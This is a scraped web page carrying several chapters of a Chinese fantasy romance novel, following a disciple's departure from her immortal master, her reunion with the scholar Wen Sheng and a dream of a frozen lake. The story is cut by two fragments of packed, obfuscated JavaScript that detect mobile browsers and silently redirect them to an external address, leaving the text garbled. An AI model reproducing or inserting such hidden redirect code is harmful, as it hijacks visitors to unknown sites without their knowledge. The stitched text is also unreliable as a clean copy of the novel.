l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056726|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答,哪儿有咬人的说道理。仙人的真面目原来是一头野兽吗? 雪地反射的亮光透过窗纸时,我们竟保持着昨夜纠缠的姿势——他的手臂横在我腰间,像一道终于落锁的囚笼。 冬天天亮得晚,医鹿山一夜之间被白雪覆盖。今日休憩,众人皆在屋内赖着不肯出门。 我睁开眼忘了眼窗外,天好像才蒙蒙亮。不禁紧了紧盖在身上的被子,翻了个身,贴近身旁的冰棍。 柳砚清还睡着,我小心挪动,不敢吵醒他,悄悄朝他脸上伸出手。冰冷的躯体没有温度,但我的身体慢慢热起来。 睡着的时候没了平日的生人勿进,眉眼间尽是柔和。 搭在身体的两侧的手果不其然冰得刺骨,我握紧靠近我一边的手,捂在手心,试图让这只手温暖一些。 接着,他便睁开了眼。 “刚醒就不安分?” 沙哑低沉的声音,说话人却又闭上眼不看我。 反正他醒了,便抓过另一只手一起捂在手心。 估计是手别着难受,柳砚清几不可闻地叹了口气,转身面向我继续睡。 我窃喜,得寸进尺地又朝他凑了凑。 “看你表情就知道你在想什么。” “是什么表情?话说,你眼睛都没睁开啊,怎么看的?” 偌大的床榻两个人只占了小小的一部分。本以为柳砚清会嫌挤叫我挪开,或者主动让开。 都没有。 出乎意料的是,他竟然抬手直接将我揽进怀里,禁锢在他的双臂间。 脑袋突然砰的一声爆破一般炸开,两颊变得滚烫,心狂跳不已。 “目光躲闪,脸红心跳,满脸心虚,是要做坏事的表情。” 柳砚清舒了口气,脸颊贴上我的额头。 “说吧,想做什么?” “屋外在飘雪呢,今日不宜出门,不如我们……”我嬉笑道:“不如我们就这么在被窝赖上一整天吧。” “昨晚罚你的抄完了?” “没有。” 两人默契地沉默,睁眼看向对方。 “然后呢?” “……您不是要我现在起来抄吧?!” 【逆梦归尘】 南风仙子初临人界神山,踏足之地灵气氤氲,药草繁茂,唯有一处焦土荒芜,独留一株残败的花树。 树干焦黑,似被烈火舔舐,灰烬未散,犹带余温。 医仙葛榆立于树下,素袍广袖,神色沉静。他是南风父亲故交,特来迎这初入凡尘的小仙子。 “神山隐匿之处,竟有这般疮痍。”南风轻叹,指尖拂过焦枯的枝干,“医仙为何不以仙术复原?” 葛榆目光悠远:“此处曾是花海,自她离去,我便再未踏足。”他顿了顿,“怕见花开,便想起她。思之过甚,乱我心神。” 南风正欲宽慰,忽见远处一道清隽身影匆匆而来——正是柳砚清。 “砚清与那女子,想必十分相似?”南风忽然问道。 葛榆望向渐近的少年,眼底泛起涟漪:“是。眉目性情,如出一辙。” “若要以一种花相配,医仙会选什么?” “白梅。”医仙不假思索,“轻如细雨,白如落雪。” 此时砚清已至跟前,见南风偷笑,茫然四顾:“怎么了?” “巧了医仙,我也正有此意。” 南风广袖轻扬,素白羽带在空中划出莹润的流光。指尖仙灵洒落,焦土瞬间震颤—— 千万株白梅破土而出,枝干如霜,花苞绽放时带起漫天飞雪般的花瓣。每一片都流转着月华,在风中洒落细碎光尘。 那株焦黑的老树也重焕生机,枝头绽开的硕大白梅,花心闪烁着金色微光。 整片梅林幽香浮动,与山间灵气交织成朦胧虹雾,荒芜之地转眼化作仙境。 砚清瞠目:“此地医仙本要用于药草园,你这——”没说完,偷眼去瞧医仙神色。 南风叉腰而立:“有何不可?医仙定会喜欢这份见面礼。” 二人齐齐望向葛榆。 医仙凝视满山白梅,终是轻叹:“她……也定会喜欢。” 南风闻言,雀跃地撞了撞发愣的砚清。 “我就说吧。没人可以做到思念一个人,不愿睹物思人。” 衣袖遮掩下,南风伸出一根手指勾住柳砚清的一指。 “爹爹说,娘亲是桑竹之仙,置身竹林就能看到娘亲。虽然我至今没见过……你若日后想念我,便来这梅林。也许……就能看见我的身影了。” 14. 闻此笙歌 孟春之时,千云之岭,白皑皑的医鹿山从漫长寂寥的冬季苏醒过来。 也到了我该离开柳砚清,下山寻找九个男人的时候了。 离别的画面比我想的要冷清。没有鞭炮起舞锣鼓喧天,没有感人肺腑潸然泪下的一番宣讲。 静悄悄的山门,柳砚清独自一人目送我,甚至两手空空,连离别的礼物都没有。 我怀疑自己不是下山游历而是出门买菜,都没个人来送我吗!清雨和如雪呢!说好会来送我的呢! 柳砚清倒神态自若,平静地与我并肩而立。 “我,走了?” 不确定地问了句,我又难以置信地越过柳砚清的肩头望了望上山的路,空无一人。 柳砚清平淡自如道:“别望了,是我不许他们来的。” “咋喃?” 我一时情急,没控制好语调,冒了句蜀话又失了态,赶忙道歉。 柳砚清早有预判一般,毫无波澜。 “免得你心气浮躁,又忘了我跟你说的话。” 柳砚清徐徐走到我面前,眸光里难得多了几分温柔,不像重生之初那般冷冽。 指尖捻去我发顶的一片竹叶,轻抚我的耳垂,问道:“你怨我吗?” “做徒弟的哪儿敢怨师傅。” 我扬唇打趣,戳了戳他平静的脸,“我知道你是为了我好,不怨你。” “之前冷言相对也不怨了?” “那个还是要怨的,现在还生气呢。” 沉默许久,沉溺于彼此不舍的眸光中。 柳砚清露出抹宠溺的笑,抬手整理我的衣裳道:“安心上路,记住,沉心静气。” 他的目光又落在我的手腕上,翻转掌心露出另一块同生玉石,说:“对着手链呼喊我,我会听见。” 我郑重点头说:“嗯,我记住了。” “替人诊病虽还不到火候,但药草方面姑且过关,生活方面应该不成问题。但也别忘了多看书,巩固功课。” 我笑着拍了拍挂在肩膀上的包袱,说:“放心吧,书都背上的,师尊亲笔版本。” 似乎欣慰我能有学成出师之日,他看向我后背的行李时,唇畔一抹似有若无的笑容。 “人心难测,万事小心。” 我下意识地点头回答,没注意柳砚清已经俯身将我拥进怀里,低头靠在我的肩膀上。 柳砚清沉默了一会,似乎在想还有什么话要同我交代。 良久,也没道出。 “总之,有事,唤我,我会来。” 我笑着回拥住他,敛着笑问:“多远都来吗?” 环住我的手臂紧了些,像告诉我,无论多远,哪怕天涯海角碧落黄泉,他总会抵达我身边。 顺着山门前的台阶一路朝下,便能离开医鹿山。 不知走了多久,我忽然想回头看看柳砚清是否还在原地望着我,回头看了过去。 一片平静的春风中,相隔数百步的两个人只剩下视线接触后的长久对视。 我的心微微地跳了一下,眼眶酸涩,抓紧包袱的指尖逐渐收紧。 不能回去,决不能冲回去,不要再想他,不能回头……我心知这是此番下山历练的第一关。 或许是因为太多思念,我还是再走出不久后再次回头。 茂密的树林掩去了来时的路,石阶消失,山门早已没了踪迹。 医鹿山消失了。柳砚清也消失了。 我竟然长长地吁出一口气,庆幸自己不会再看到柳砚清,而冒出返回的冲动。 忽然风起云涌,不远处传来细微的衣袂翻动声,我循声望去,看见朦胧的树影下立着清隽仙人的身姿。 他不缓不急地大步流星走向我,脚下的步伐沉稳有力。 什么都不用说,思念至极的人紧紧拥住彼此。所有的不安,仿佛在触碰到柳砚清的瞬间荡然无存。 “我忽然不想走了……我不想离开你。” “说什么傻话,那么大的人了。” “总怕……总怕再也见不到你。”我不安地抬头,攥紧他的衣裳,“不会的,对吧?我们还会再见,对吧?” 没人回答,却被他忽然俯身,温热的唇毫无预兆地覆了上来。 神山的入口处,常有寻路人出没。我下意识往后仰,却被他另一只手扣住后脑,动弹不得。 他的吻起初轻柔,像春风拂过水面,随后渐渐加深,带着不容拒绝的力道。我的呼吸被他搅得急促,心跳如擂鼓般在胸腔里震动。 许久,带着银丝与我分开。 “你知道,我不会。” 我环紧他的腰,万般委屈。舍不得离开医鹿山,舍不得与他分开。 “记住,平心静气,身子不好,切莫逞强。” “嗯。” “还有最重要的一点。”他突然身在后仰,指尖轻点在我眉间,“不要和来路不明的人走。” “……我又不是小孩子,哪儿有那么容易被骗?” “少贫嘴,记住没?” “记住了。” 【闻此笙歌,忆故人】 医鹿山脚下有个鹿镇,我原计划从这儿出发,沿着官道一路逛到京都。这条商路热闹,驿站也多,最适合边走边玩。 “饿了就吃,累了就住,顺便还能找那与我前世有缘的九个男人。”我晃了晃发间玉簪,“这计划是不是天衣无缝?” 神器自然没吭声,我就当它默许了。 谁曾想,这一走就是两个月——等路边野花都开遍了,我才猛然惊醒:兜里揣着银钱,为何非要腿儿着?驿站那些车马是摆设不成? 真想给当初的自己一记耳光。 商道旁每隔几里便有茶铺,晌午刚过,正是歇脚时分。回暖时节,道上马车络绎不绝,茶铺外的停车空地转眼就被占满。 铺里人声鼎沸,幸而还剩一张空桌。 刚落座点茶,便听一道清朗声音:“姑娘可否容在下拼个桌?”抬眼望去,是个背着行囊的青衫书生,风尘仆仆却掩不住通身气度。 我忙咽下茶水摆手:“请便。” 书生道谢入座时,老板恰好送来我点的玉叶长春,赔笑道:“今日实在忙乱,二位多包涵。”说罢匆匆离去,却忘了书生的茶。 我晃了晃多出的茶盏:“先生若不嫌弃,不妨共饮?” 书生执礼甚恭:“多谢姑娘。”举止间透着世家子弟的教养。 两盏清茶入喉,医鹿山带来的疲惫顿消。书生细品香茗,目光落在我身旁的行囊上——他的包袱鼓鼓囊囊,想是塞满了书册。 “姑娘欲往何处?”他忽然问道。 “随意云游罢了。先生呢?” “巧了,在下正游历四国。” “四国?除了赵国还有……” “西北东凉,西南大理,北境金辽,海外更有绮丽、琉球诸国。” 我掰着手指数:“这都超四国了。” 书生轻笑:“东凉正与赵国交战,去不得。” “打仗啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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清风徐来,斑驳的树影在他苍白的脸上摇曳。他忽然展颜一笑,像学堂里的先生看着学生稚嫩的字迹…… 这画面莫名熟悉。恍惚间,我仿佛看见破旧书堂里,一个青衫男子正对着歪斜的字迹含笑摇头。 “此诗出自《诗经》十五国风,”他抬眸,眼底映着细碎的光,“名为‘齐风’。” 齐风?也是“风”……莫非与我的名字有关? 纷乱的思绪还未理清,闻笙忽问:“不知姑娘如何称呼?” “叫我‘风’就好。“ “风好?“他故意曲解。 “是风!” 我窘迫地纠正,却见他眉眼弯弯,目光落在我发间的玉簪上,“姑娘这支簪工艺不凡,可是名家所制?” 我随手取下递去。他略显诧异:“这般贵重之物,姑娘不怕在下心怀不轨?” “你会吗?” 他怔了怔,终是轻笑接过。 但只是略一打量便立即奉还:“实不相瞒,姑娘与在下去年离世的一位故人……极为相似。” 茶盏在指尖一颤:“她……如何离世的?” “为求起死回生之术前往西洲,”他望向远处,声音渐低,“却在隔江荒野遭遇不测。此后,我再未寻得她的踪迹。” 闻笙的声音不紧不慢,故事在茶香中渐渐成形。 恍惚间,我仿佛看见那个远赴西洲的身影…… 隔着千山万水,却莫名熟悉。 我追问:“可这里是西蜀,先生为何来此?” “听闻医鹿山有仙人可起死回生。”他眸色忽然一暗,“或许……她在那里。” “那位故人……叫什么名字?” 青瓷茶盏被轻轻搁下。他的指尖在桌面划过,写下两个浸透光阴的字,抬眼时笑意微凉。 “她叫,齐风。” 15. 菱歌泛夜 出了茶铺,我与闻笙结伴同行去光州。 我暗自笃定闻笙定是我要寻的九人之一。若猜得没错,我便得到了重生后第一个名字:齐风。 记忆未复,齐风并非真名,但眼下更让我好奇的是前世的我与闻笙,究竟有何渊源? 踏上官道,闻笙提及光州是他与"齐风"初遇之地。在弄清他们的关系前,我暂不透露失忆之事。 “姑娘确定要前往光州?” 我抢先付了茶钱,用的是柳砚清给的路费,快步跟上闻笙。 若让师尊知道我拿他的钱请别的男子喝茶,不知又要念叨什么…… 我笑道:“反正也无处可去,不如与先生同行,先生不介意吧?” 闻笙爽朗一笑:“乐意之至。不知姑娘可好美食?” “有美食?请先生务必带我尝遍光州!” 夜幕降临,光州灯火渐次亮起。闻笙带我穿行在繁华街市,茶楼酒肆林立,红灯笼绵延无尽,将夜空映得通明。 远处传来缥缈乐声,引人循声而去。 醉月楼的牌匾下人群涌动,我一时躲闪不及,险些被人潮冲倒。忽然双肩被稳稳扶住,眼前一花,已被闻笙护在怀中带离喧嚣。 “谢谢先生……” 心跳蓦地漏了一拍。未回过神来,他又自然地替我理好散乱的发丝,拂去肩头尘埃。 这般亲昵让我耳根发烫。说好的书生男女授受不亲呢?! “每晚戌时都是这般景象。” 闻笙指向台上红衣翩跹的姑娘。她眼波流转间,引得满堂喝彩。 “诗诗……”我轻声重复。 不知这是她的本名,还是闻笙唤的亲昵? 闻笙熟门熟路地带我绕至醉月楼后门。推门而入,杂役们低头行礼的弧度都恰到好处,歌姬们罗袖半掩的轻笑里藏着心照不宣的默契。 他步履从容,仿佛对这里的一桌一椅都了如指掌。 穿过垂花门,眼前豁然开朗。楼阁游廊,富丽堂皇。垂花门楼,雍容华贵。笙歌不断,酒香四溢。只是置身其中,便觉醉意。 听不懂唱词的曲调悠悠扬扬,歌女富含深情的唱着,像是盼归之人唱给离别之人的信。 “袅袅秋风留不住,满阶竹叶暮。又是春意载,桃花开败,无人归。愁恨年年长相似,炊烟伴细雨。” 身边的闻笙突然念起唱词,我不可思议地看向他,“先生怎知晓得那么清楚?” “因为此曲正出自我手。” “先生会作曲?!”我不禁诧异,“刚才进楼起我就想问,为何感觉大家都认识先生?莫非先生——” 闻笙突然打断我:“此事我们之后再说。醉月楼的老板托我写了首词,正好路过,我进去一趟很快出来。” “没关系,我找个什么地方坐着等你,正好走累了。” 闻笙环顾四周,发现不远处一个无人的凉亭。他拉着我的手走进亭内。 “你在这里等我,我很快回来。” “好。” 我望着闻笙远去的背影,活动了下酸胀的四肢。从医鹿山到光州这一路,确实疲惫。 “齐风姑娘?” 亭外不知何时站着位执扇的青衣女子。她以扇掩唇,款步而来,将我上下打量个遍。 “你就是齐风?我听说你死了。” 她眉眼如画,举手投足间尽是风尘妩媚。 是方才台上的诗诗姑娘。 “你认识我?”我反问。 “自然。” 诗诗摇着团扇走近,不屑地瞥了眼我的发簪,“先生每次醉酒,喊的都是你的名字。” 扇面轻拍我的肩头:"能把温润君子变成烂醉酒鬼,你倒有本事。” 我强压怒意:“不知姑娘所云。” 见我无动于衷,她突然凑近耳畔:“不想知道他都跟我说过什么?我们——” 浓重的脂粉味扑面而来。 “做过什么男欢女爱之事。" 我皱眉避开浓烈的颜值味儿,嫌弃道“不必了。”转身欲走。 身后传来她送客时惯用的语调:“随时恭候醉月楼。”擦肩而过时,她投来鄙夷的目光:“你会来找我的。" 当然不会去找她,我又不认识她。 走出醉月楼,我生怕待会儿闻笙出来找不到我,便四处寻找一处显眼的高处。目光扫过,最终锁定不远处河道上架起的石桥。 桥上似乎空无一人,闻笙若是出来,定能一眼瞧见我。 眼下的河,闻笙说是光州的护城河,从醉月楼前的这座桥上开始流向城内的大街小巷。有水则灵,所以光州府将河道密密麻麻布满整个城。各色的灯火与明月的光辉在水面上交融,河道里的白鹭静静地站着,影子随着水波浮动。 “嗯?不是白鹭。” 我眯起眼定睛一看,竟然是一只仙鹤。嘴里衔着一枚黑色的棋子,稳稳立于水中。 “好怪异的仙鹤,我怎么有种似曾相识的感——” 啊,是医鹿山那只嘴里不是衔着羽带就是衔着棋子的仙鹤!倏地,我四下张望,迫切寻找一模熟悉的身影。 “不会师尊偷偷跟我来了光州吧……” 又想想不太可能,我打消了这个愚蠢的念头,欣赏着夜色,缓步走上石桥。 然而,刚踏上桥面,我便发现桥上并非空无一人。 一道挺拔的身影伫立在桥中央。他一只手负在身后,另一只手随意搭在腰间的匕首上,目光出神地望着天边的明月。 月光洒在他的侧脸上,勾勒出他清冷的轮廓,与这夜色融为一体。 我停下脚步,没有靠近,只是站在离他稍远的地方。 桥上的静谧与远处醉月楼的喧闹形成了鲜明的对比,构成两个截然不同的世界。 我忍不住侧目看向那道身影,心中泛起一丝好奇。 他在看什么?竟如此入迷?是月亮吗?可今晚的月亮与往日并无不同,为何他看得如此专注? 正当我思索之际,那人似有所感,忽然转过头,朝我的方向看过来。 我猛然一惊,立刻收回视线。 希望他没有发现我一直在看他。 隔了好一会儿,我忍不住再次看向他,却发现他依旧注视着我,目光深邃而沉静。 完了……好像闯祸了……不会惹到什么危险人物吧? 我赶忙鞠躬道歉:“抱歉……我不是有意盯着你看的……我……我也在看月亮!今晚月亮,挺好看的哈。” 我尴尬地笑着,他依然沉默着,不知道有没有相信我的话。在我想要开口继续向他解释时,桥下传来呼唤和匆匆脚步。 “齐风姑娘!” 一道熟悉的声音传来,打破寂静。我循声而望,是闻笙。 见闻笙朝我走来,我再次去看桥面上的人。 嗯?不见了? 我走到那人刚才站立的位置左顾右盼,河道两旁的灯火依旧明亮,映照着来往的行人,却唯独不见他的身影。 水里的仙鹤也失了踪迹。 他什么时候离开的? “在看什么?” 闻笙走近,身上沾染了些许醉月楼的酒香和淡淡的胭脂水粉味。 我藏起胃里不适,抬头对上闻笙始终带着笑意的脸说:“没什么,只是觉得刚才那人有些眼熟。” “眼熟?”他目光扫过桥面,又落回我脸上,“男人?” “嗯?嗯,不过已经走了。” “这样啊。” 似是玩笑的话,我却一点玩笑的味道都没嗅到。倒是闻到了淡淡的醋味。许是街边摊贩飘来的味道吧。 “咳咳,先生博学多才、见多识广,想必在光州文学界也是数一数二的吧?可有出版什么书籍?我也想拜读拜读。” 我故意别开话题。闻笙勾了勾嘴角,眼角眉梢多染上笑意,是开心的笑意。 “平日喜欢写词作曲,想听吗?” “好啊。” “不过我不善音律,只能念给你听。” “嗯!先生念什么都是好听的。” 风知归途偏弄弦,卷尽繁花过画檐。 白梅噙霜墨,柳絮缠旧年。 誓约白头终错付,转身唯见月孤悬。 残香凝袖底,半阙离人篇。 闻笙温柔的嗓音吟唱着哀伤的曲调,听得我心口发紧。 这歌里的风……莫非是我? 风知归处,却偏要撩动繁花;拂过白梅,墨色花瓣如霜雪纷扬。柳枝缠绕发间,恍如旧梦未醒。誓言白头,终是错付了月光。 转身时,徒留残香与半阙离殇。 白梅、柳枝、残香…… 若非知晓这是闻笙所作,我几乎要以为唱的是我与仙人的往事了。 彩灯节,光州每年春节后最热闹的节日。原本取名千灯节,又想和本就存在的别处的千灯节不重名,做出光州自己的特色,于是改名彩灯节。 男女相约赏灯,亲手制作的彩灯若被收下,便是两情相悦;若被婉拒,则会置于河畔,任流水带走相思。 我听着闻笙给我讲述彩灯节的故事,不禁感叹光州的浪漫。 晚风微凉,集市上人声鼎沸。我在发饰摊前驻足,闻笙拿起一支竹子做的在手中端详,一端雕刻的竹纹和我头上插着的相差无几。 “先生喜欢吗?我送你。” 闻笙笑着摇了摇头,放下手里的发簪。 “只是想起了过去……” 说话时,他朝我这边看了眼,但不是看我,而是我头上的发簪。 “很像我曾经做过的一支发簪。” 我不由心生敬佩,“先生还会做发簪呐?” “学了段时日。” 我眯起眼睛,手肘轻撞他,“为了送给心上人?” “是我未过门的娘子。” 他的目光掠过我的发簪,温柔中带着追忆。那一刻,我恍惚觉得——他说的就是我。 指尖无意识地摩挲着摊上的饰物,我终于鼓起勇气,抬眼直视他:“闻笙,有件事……我想告诉你。你在找的人……可能是我。” 他神色未变,只温和地问:“风姑娘何出此言?” 我有些为难地低下头,双手不安地交互揉搓。 “虽然不记得我是不是去过西洲,也不记得自己的名字,甚至连你也不认识……” 我取下神器发簪,竹叶纹在灯火下流转着微光:“这发簪……是你亲手制作赠予我的吧?” 抵达光州,因正逢彩灯节,客栈一房难求。 夜色渐深,街市依旧喧嚣。所幸我们的客栈偏居一隅,还算清静。 “在想什么?” 闻笙不知何时来到窗边,与我并肩望着远处的灯火。 “在想那首诗。《齐风》。”我转头看他微微扬起的嘴角,“先生现在有空吗?我想重新学写这首诗。至少……这次要写得能看些。” 闻笙笑意更深:“乐意之至。” 桌上摊开的《诗经》已显陈旧,那页《齐风》的折痕尤为深刻。闻笙的右手轻轻覆上我的手背:“我先教你一遍,然后,你再自己写?” 我感受着他覆在我手背上的温度,同他一起将初遇时的那份暧昧归于笔墨纸砚。 尽管那是不存在我记忆的记忆,却是他独守了多年的回忆。 敞开的窗户不知何时飞了一只飞蛾进屋,在我们眼前晃悠半天,最后飞向桌边的烛台。 毫不意外,它义无反顾地直冲向烛台上火光。 我看着烛台油蜡上漂浮着的飞蛾,忽然有些恍惚。 飞蛾扑火……何必呢…… “怎么了?”闻笙察觉到我的停顿。 我望着他关切的眼神,愧疚涌上心头。他伸手探了探我的额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056728|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温:“累了?我去打些热水来。” 望着他离去的背影,彩灯节上他讲述的“我们的过去”,又一次浮现在脑海。 竹纹发簪在灯火中泛着微光,我指尖轻抚过簪上竹叶:“这个发簪……是你亲手制作赠予我的吧?” 闻笙没有迟疑,证实了我的猜测。 “嗯。” 交换过眼神,我期待着闻笙能率先打破沉默,问些什么。 沉默在摊位前蔓延。老板识趣地将推车挪开几分。 “你就不问……”我终是忍不住开口,“为何我不记得你?” 闻笙只是轻笑,双手轻转将我背过身去。修长的手指穿过我的发丝,熟练地挽起发髻:“不问。” “为何?” 一丝不苟的发髻完成,比如雪的手还巧。 “你能回来,我已经满足了。” 他盯着我,目光灼热。微微发热的手掌握住我的手,包裹在掌心。 “在茶馆看到你,我还以为自己出现了错觉。那条官道是去光州的路,我猜想——你是为了履行和我的承诺,是去见我的。本想一路跟着你,护着你,等到了光州再和你相认。奈何我根本等不到那时候,先一步在茶馆假装和你偶遇。” 闻笙伸手拿起身旁摊位上摆放着的一支镶嵌着白色梅花的步摇,问过老板价格后,闻笙付过钱,转头自然地插入刚才他替我梳理整齐的发髻侧边。 贴心的老板递给我一面镜子,好看。 离开逗留许久的摊位,闻笙领着我继续逛灯会。温暖的手掌片刻不离,始终包裹住我的。 “在茶馆坐下后,我同你说话,你的眼神看上去,不像是装作不认识我。数年不见,兴许真的忘了。” 街市的灯火映照在闻笙的眼眸中,如同夜空的繁星点点,却显得那么寂寞。 我心神一动,共情一般很想伸出双臂紧紧拥住他。 “我们,很久没见吗?” 闻笙沉吟,语气轻描淡写。 “不算太久。五年而已。” 五年不算久吗?若非真的失忆,五年时光,我或许真的会把他忘得一干二净。 人群突然骚动,我被撞得踉跄后退。一只有力的手猛然将我拉入怀中,熟悉的竹香瞬间包围了我。 “这五年,你难道一直在光州,同一个地方等我吗?” 我仰头望向闻笙深邃的眼睛,他的拇指轻抚过我的手背。 “我走遍千山万水。却找不到一个叫齐风的姑娘。” 心尖蓦地刺痛。也许“齐风”只是我随口编造的假名,他却为此寻寻觅觅整整五载。 我垂下头,盯着他牵住我的手。 “抱歉。” 头顶上方之人轻轻笑笑,空出的另一只手理了理我额前略微凌乱的碎发。 “怎么了?这可不像你。” “什么?” “你可从来不说抱歉的话。” “……我这么没礼貌吗?” 闻笙摆摆首,“不是这个意思。以前的你……” 思索片刻,他淡淡开口。 “很要强。不轻易落泪,不轻易道歉,行侠正义,心软心善。”然后,温柔的目光转向我。“是我很喜欢的人。” 突如其来的拥抱让我僵在原地。他低沉的呢喃在耳畔响起:“好在我终于等到了你。两千多个日夜,没有白等。” 我攥紧裙摆,心头泛起酸涩的甜蜜。那个被他深爱的齐风,该有多幸福。 可是现在的我……究竟是谁? 指尖无意识地摩挲着发间的步摇,我望着烛火出神。神像交代的任务还悬在心头—— 要寻九个男子,我不能和闻笙待太久。若将神像指引之事和盘托出,只怕会被当作痴人说梦。 罢了。横竖逃跑的功夫,我还是有的。 望着唯一的床榻,我陷入两难。 闻笙却已拿起木梳,为我卸下步摇。青丝垂落间,他动作熟稔得仿佛做过千百回:“我去别处歇息。” “可……” “光州我熟。你从医鹿山走来,该好好睡一觉。” 梳齿轻柔划过发间,烛火摇曳,在他眼底投下温柔的阴影。 暂且相信他吧,而且,我是真的累了。 烛火熄灭后,帷帐内只剩辗转反侧的声音。 闻笙的种种疑点浮现在脑海——他何时知晓我复生?从医鹿山就开始跟踪?那场茶馆“偶遇”,莫非早有预谋? 思绪越发混乱。可转念想起他苍白的唇色,单薄的身形,又觉得这般文弱书生,实在不像歹人。 更何况,他竟为一个可能欺骗过他的人,寻遍大江南北…… 心口突然传来撕裂般的疼痛,每次心神不宁时总会如此。 我攥紧被角,冷汗涔涔。 知道真相后,我又当如何?怀着愧疚留下补偿吗? 暗夜里,无解的问题又一次啃噬着心神,撕心裂肺般的痛。 赤足触到冰凉的地板,我拿起桌上墨迹未干的“齐风”二字。 若闻笙所言非虚,这名字恐怕只是我信手拈来的谎言。恰巧他翻到《齐风》,若翻到《唐风》,此刻我便是“唐风”了。 “为何说谎呢……”指尖划过纸上的墨痕。 躺回榻上,我摩挲着发簪上的竹叶:“神器啊神器,你到底什么时候才现身帮帮我啊。” 发簪上的竹叶静静的。 “因为要见的第一个人是闻笙,所以你变成了这幅样子啊。还以为是方便我束发才变成发簪的呢。” 狡猾的神器,还有再没出现的神像。 “无情的神……” 我摩挲着发簪上的竹叶,忽然发现眼前闪过一丝幽蓝的光,转瞬即逝。我揉了揉眼,以为自己眼花。 “仙……蝶?” 倏地,仙蝶直冲我的眼睛而来,意识中断,倒头昏睡。 16. 屡变星霜 【入卿梦也】 浓雾弥漫的森林里,刺骨的寒风里裹挟着冰晶一般的雪,席卷着数万个巨人般站立的树林和披着大氅站在没过脚踝的草地里的我。 这里……是我的梦吧?这次的梦,有些不同。 醒来后会忘记梦里发生的一切,但在梦里,我能隐约记得过去梦境里经历的事情。 “爹?爹你在吗?神像?” 风雪吞没了我的声音。 又连喊了好几声,声音根本无法压过呼啸得厉害的风,我只好放弃,试着往前走走看看。 巨树森林,所有的树都紧挨着,只要脚下的路通往什么地方。风雪都朝着同一个方向吹,形成一个甬道。 我不由自主地迈步,后背犹如有一股力量推动着我,即使野草扯着脚不便行走,脚下的速度不减。 穿过树林,眼前豁然开朗。巨树变得稀稀疏疏,脚下的深草变成了厚厚的雪,一眼望去,皆是银白色的。 我忍不住深吸了一口气,呵出体内的热气,在眼前形成一团白色的雾气。 似乎是站在山坡坡道上,朝下的路宽阔蜿蜒,不晓得通往哪里。朝上的路被白雾笼罩,充满危险的样子。 看来只能朝下走了。 我小心翼翼地走在雪地里,每走一步都要从没过小腿雪里拔出深陷的脚。 诡异的白色气团缓缓消散,峡谷稀薄的气流攀附至我的身侧,空气中瞬间弥漫起阵阵水汽。 体力流失地很快,没走几步,我累得喘不过气,踉跄着朝前摔倒陷进厚厚的雪里。 脸埋进雪白里,不冷不痛,不像陷进雪里更像是棉花。 我不紧不慢地爬起来,继续朝前走。 直到雪地的尽头,出现了一面结了冰的湖。铅灰色的雾笼罩在上空,流动中露出一点空隙,隐约可见更上一层有什么波纹覆盖。 视野瞬间变得开阔,我环顾着周围的景象,心里隐隐有了些许猜测。 这里并非真实存在的地方,而是幻境。 湖面的中心,半遮半挡的白色烟雾中站了一抹红色的身影,他背对着我,手里握着长刀。 飘落的细碎雪花同呼出的热气,氤氲眼前的画面。 这样的画面,让我不觉有些慌神。等我反应过来时,腿脚已经鬼使神差地向他迈去。 我丢下后背披着的大氅,缓慢朝湖心走去。 仿佛有什么人在呼唤我,牵引着我。 在尘封的记忆深处,我似乎见过很多次这样的画面,无数次义无反顾地朝他奔去。 是山野、是风雨、是荒漠沙丘……到底是哪里? “风。” 那声音空灵地回荡在半空。 风骤停,雪也停了。 红色的背影伫立在雪地里,漂浮的红色发带也随风停下。 “风——” 借着月光我依稀辨认出他。 “你是……祈源?” 我钝钝地眨了下眼,呼脱口而出他的名字。 模糊的记忆稍显清晰,一张笑脸浮出脑海,是少年最天真爽朗的笑,是无论记忆如何涂抹修改也无法忘记的笑。 泪水夺眶而出,步伐不由地加快。可我走得越快,那抹身影似乎离我更远,越来越远。 我停下来,那抹身影才恢复到原本的距离。 “祈源,是你吗?” 那抹背影一动不动。 视线被泪水模糊,大滴的泪水顺着脸颊滑落,落在厚厚的冰面,在脚下泛起涟漪。大地隐约发出轰鸣声,结冰的湖面随之微微震动。 我想靠近他。 脚跨出一步,俨然不动的冰面开始破裂,从脚下开始出现裂缝。 我心头一紧——得跑快一点! 我拼了命地跑向他,哪怕他离我越来越远。 只要我跑得够快,总会追上他的! 脚下的裂缝越来越多,起点的位置冰面已经完全破裂,出了一个巨大的窟窿。身后跑过的地方正在被窟窿吞噬。 “祈源——!” 冰面崩塌的瞬间,耳边忽然炸开一声嘶吼。我猛地回头,却只看到血色漫过视野,似是花海的画面被吞噬殆尽。 那是谁的记忆?是我?还是他? 红色的背影随着我脚下的失重感,逐渐模糊。 我坠进无尽寒冷的湖水里,心中的酸涩让我只想哭,无法屏住呼吸。鼻腔和嘴里涌进大量的湖水,窒息的恐惧遏制住我。 救我……谁来……祈源…… 感觉鼻腔里吸进了冰沁的湖水,五脏六腑开始出现不同程度的痛楚。 四肢的无力感,本就临近崩溃的心彻底崩塌。 湖面上红色的身影摇摇晃晃,好像起风了,他头上的发带又随风舞动。 我努力抬起手,伸向他。 像是感知到我,那抹红色似乎动了动。他微微转身,露出点点脸庞。 我就快看清他的模样了…… 巨大的冰块从上方砸向我,加快了我坠落的速度。 那抹红色彻底从视野里消失。 坠入湖底,冰封在水下的暖意更加浓烈,让人不禁闭上双眼沉睡于此。 明明是梦,为什么会那么痛苦? 他到底是谁…… “砚清,救救我……” “咳咳——哈——哈——” 